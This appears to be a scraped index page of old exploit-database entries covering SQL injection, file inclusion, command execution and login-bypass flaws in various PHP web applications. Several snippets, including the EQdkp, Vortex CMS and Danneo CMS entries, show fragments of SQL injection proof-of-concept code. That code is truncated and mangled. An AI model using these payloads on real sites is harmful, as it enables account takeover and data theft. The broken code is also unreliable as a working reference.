PHPX 3.5.16 Cookie Poisoning and Login Bypass Vulnerability

No description provided by source. ======================================================================= = gnix = gnixmail at gmail dot com http://gnix.netsons.org Application: phpx http://www.phpx.org/project.php stable version Versions: 3.5.16 Platforms: All Bug: Cookie poisoning / Login bypa...

OpenSSH X11 < 5.1 Session Hijacking

Binary data 4598.prm...

fuzzylime (cms) comssrss.php files[] Parameter Traversal Local File Inclusion

The remote host is running fuzzylime cms, a PHP-based content management system. The version of fuzzylime cms installed on the remote host fails to sanitize user-supplied input to the 'files' parameter of the 'commsrss.php' script before using it to include PHP code. Regardless of PHP's...

Wordtrans-web exec_wordtrans Function Arbitrary Command Execution

The remote host is running wordtrans-web, a web-based front-end for wordtrans, for translating words. The version of wordtrans-web installed on the remote host fails to sanitize input to the 'advanced' parameter of the 'wordtrans.php' script before using it in an 'passthru' statement to execute P...

CVE-2008-2704: Improper Input Validation

Novell GroupWise Messenger GWIM before 2.0.3 Hot Patch 1 allows remote attackers to cause a denial of service crash via a long user ID, possibly involving a popup alert. NOTE: it is not clear whether this issue crosses privilege boundaries...

mysql improper suid argument evaluation

MySQL before 5.0.25 and 5.1 before 5.1.12 evaluates arguments of suid routines in the security context of the routine's definer instead of the routine's caller, which allows remote authenticated users to gain privileges through a routine that has been made available using GRANT EXECUTE...

For the Oracle TNS listener the attack methods of finishing-vulnerability warning-the black bar safety net

Author: poison/amxku Source: amxku’s blog First, depending on the version, the TNS listener may be more susceptible to a variety of types of buffer overflow attacks, these attacks can be in does not provide a user ID and password to be used. For example: in oracle 9i, when a client requests a lon...

EQdkp 1.3.2f - 'user_id' Authentication Bypass

?php // EQDKP 1.3.2f Authentication Bypass PoC // [email protected] $data'autologinid' = 'x'; $data'userid' = "1' " . "UNION SELECT " . "1, " . // userid "'a', " . // username "'x', " . // userpassword "'', " . // useremail "1, " . // useralimit "1, " . // userelimit "1, " . // userilimit "1, "...

Vortex CMS - 'pageid' Blind SQL Injection

php '.$argv0.' http://www.site.com/cms/ 1 1 '; if $argc 1 printr' '; echo 'Searching for Admin: '; for$i=1; $i = 50; $i++ $temp1 = filegetcontents$argv1.'index.php?pageid='.$argv2.''and+lengthselect+username+from+systemuserslogins+where+id='.$argv3.'='.$i.'/'; if strpos$temp1,'Sorry, the page you...

Vortex CMS - pageid Blind SQL Injection

Vortex CMS - pageid Blind SQL Injection php '.$argv0.' http://www.site.com/cms/ 1 1 '; if $argc 1 printr' '; echo 'Searching for Admin: '; for$i=1; $i = 50; $i++ $temp1 =...

Miniweb 2.0 (historymonth) Remote SQL Injection Vulnerability

No description provided by source. Rem0te SQL Injection Vulnerability Miniweb 2.0 index.php Author: HaCkeR-EgY H^0mE: www.pal-hacker.com , atsdp.com CONTact: [email protected] =========================================================== Script : Miniweb " Blog Writer " version : 2.0 Module...

OpenInvoice 0.9 Arbitrary Change User Password Exploit

Exploit for unknown platform in category web applications ====================================================== OpenInvoice 0.9 Arbitrary Change User Password Exploit ====================================================== !/usr/bin/perl OpenInvoice 0.9 Arbitrary Change User Password Exploit...

Prozilla Reviews Script 1.0 - Arbitrary Delete User

--==+================================================================================+==-- --==+ Prozilla Reviews Script 1.0 Arbitrary Delete User Vulnerability +==-- --==+================================================================================+==-- Discovered By: t0pP8uZz Discovered On: ...

Blogator-script 0.95 Change User Password Vulnerability

Exploit for unknown platform in category web applications ======================================================= Blogator-script 0.95 Change User Password Vulnerability ======================================================= ...:::::Blogator-script 0.95 Change User Password Vulnerbility ::::...

Blogator-script 0.95 Change User Password Vulnerability

No description provided by source. ...:::::Blogator-script 0.95 Change User Password Vulnerbility ::::.... Virangar Security Team www.virangar.org www.virangar.net -------- Discoverd By :virangar security teamhadihadi special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra & all virangar members &...

Blogator-script 0.95 Change User Password Vulnerbility

...:::::Blogator-script 0.95 Change User Password Vulnerbility ::::.... Virangar Security Team www.virangar.org www.virangar.net -------- Discoverd By :virangar security teamhadihadi special tnx to:MR.nosrati,black.shadowes,MR.hesy,Zahra & all virangar members & all hackerz greetz:to my best frie...

CVE-2008-1543

The Advanced User Interface Pages in the ProST Web Management component on the Airspan WiMAX ProST have a certain default User ID and password, which makes it easier for remote attackers to obtain partial administrative access, a different vulnerability than CVE-2008-1262...

TopperMod 2.0 Remote SQL Injection Vulnerability

No description provided by source. Author: GiReX mySite: girex.altervista.org CMS: TopperMod v2.0 Site: rtcw.ch/mio/index.php Bug: SQL Injection Type: 1 - Priviledge Escalation from user to mod 2 - Remote user password change File: /account/index.php Var : $localita Need: magicquotesgpc = Off You...

Danneo CMS 0.5.1 - Blind SQL Injection

use specific prefix\n"; echo "-id= - use specific user id default 1\n"; echo "-c= - benchmark's loop count default 300000\n"; echo "-v - verbose mode\n\n"; echo "tip:\n"; echo "use bigger number of if server is slow\n\n"; echo "php $argv0 http://site.com/ -p=cms\n"; echo "php $argv0...

Directory traversal

Directory traversal vulnerability in MoinMoin 1.5.8 and earlier allows remote attackers to overwrite arbitrary files via a .. dot dot in the MOINID user ID in a cookie for a userform action. NOTE: this issue can be leveraged for PHP code execution via the quicklinks parameter...